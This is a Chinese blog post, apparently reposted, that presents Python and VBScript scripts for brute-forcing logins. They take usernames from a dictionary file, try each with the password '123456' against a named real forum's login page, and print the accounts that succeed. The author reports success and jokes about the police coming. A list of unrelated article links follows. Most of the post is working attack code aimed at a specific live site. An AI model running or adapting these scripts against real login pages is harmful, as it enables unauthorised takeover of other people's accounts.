Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
Python translator使用实例
Sep 06 Python
python回调函数用法实例分析
May 09 Python
python图像常规操作
Nov 11 Python
Python简单计算数组元素平均值的方法示例
Dec 26 Python
python使用RNN实现文本分类
May 24 Python
Python全排列操作实例分析
Jul 24 Python
Django网络框架之HelloDjango项目创建教程
Jun 06 Python
Python 获取ftp服务器文件时间的方法
Jul 02 Python
opencv3/C++实现视频读取、视频写入
Dec 11 Python
django实现模型字段动态choice的操作
Apr 01 Python
基于Keras中Conv1D和Conv2D的区别说明
Jun 19 Python
五分钟带你搞懂python 迭代器与生成器
Aug 30 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
PHP命名空间(Namespace)的使用详解
2013/05/04 PHP
CodeIgniter针对数据库的连接、配置及使用方法
2016/03/03 PHP
PHP 表单提交及处理表单数据详解及实例
2016/12/27 PHP
PHP实现的装箱算法示例
2018/06/23 PHP
js中的值类型和引用类型小结 文字说明与实例
2010/12/12 Javascript
js 点击页面其他地方关闭弹出层(示例代码)
2013/12/24 Javascript
JavaScript截取字符串的Slice、Substring、Substr函数详解和比较
2014/03/20 Javascript
教你如何使用PHP输出中文JSON字符串
2014/05/22 Javascript
Javascript访问器属性实例分析
2014/12/30 Javascript
JQuery中节点遍历方法实例
2015/05/18 Javascript
jQuery simplePage+AJAX plus分页插件用法实例
2016/02/17 Javascript
JavaScript笔记之数据属性和存储器属性
2016/03/31 Javascript
jquery实现点击弹出可放大居中及关闭的对话框(附demo源码下载)
2016/05/10 Javascript
AngularJS基础 ng-list 指令详解及示例代码
2016/08/02 Javascript
jQuery基于ajax操作json数据简单示例
2017/01/05 Javascript
React Native第三方平台分享的实例(Android,IOS双平台)
2017/08/04 Javascript
Vue.js项目中管理每个页面的头部标签的两种方法
2018/06/25 Javascript
详解vscode中vue代码颜色插件
2018/10/11 Javascript
vue实现文件上传读取及下载功能
2020/11/17 Javascript
详解JS函数防抖
2020/06/05 Javascript
微信小程序入门之指南针
2020/10/22 Javascript
python查看FTP是否能连接成功的方法
2015/07/30 Python
Python判断两个list是否是父子集关系的实例
2018/05/04 Python
Python实现常见的回文字符串算法
2018/11/14 Python
Python实现去除列表中重复元素的方法总结【7种方法】
2019/02/16 Python
python登录WeChat 实现自动回复实例详解
2019/05/28 Python
numpy.ndarray 实现对特定行或列取值
2019/12/05 Python
Canvas制作旋转的太极的示例
2018/03/09 HTML / CSS
劳动实践课感言
2014/02/01 职场文书
信用卡逾期证明示例
2014/09/13 职场文书
党的群众路线教育实践活动领导班子整改措施
2014/09/30 职场文书
圣诞晚会主持词
2015/07/01 职场文书
2016年教师反腐倡廉心得体会
2016/01/13 职场文书
Java网络编程之UDP实现原理解析
2021/09/04 Java/Android
python区块链持久化和命令行接口实现简版
2022/05/25 Python
nginx静态资源的服务器配置方法
2022/07/07 Servers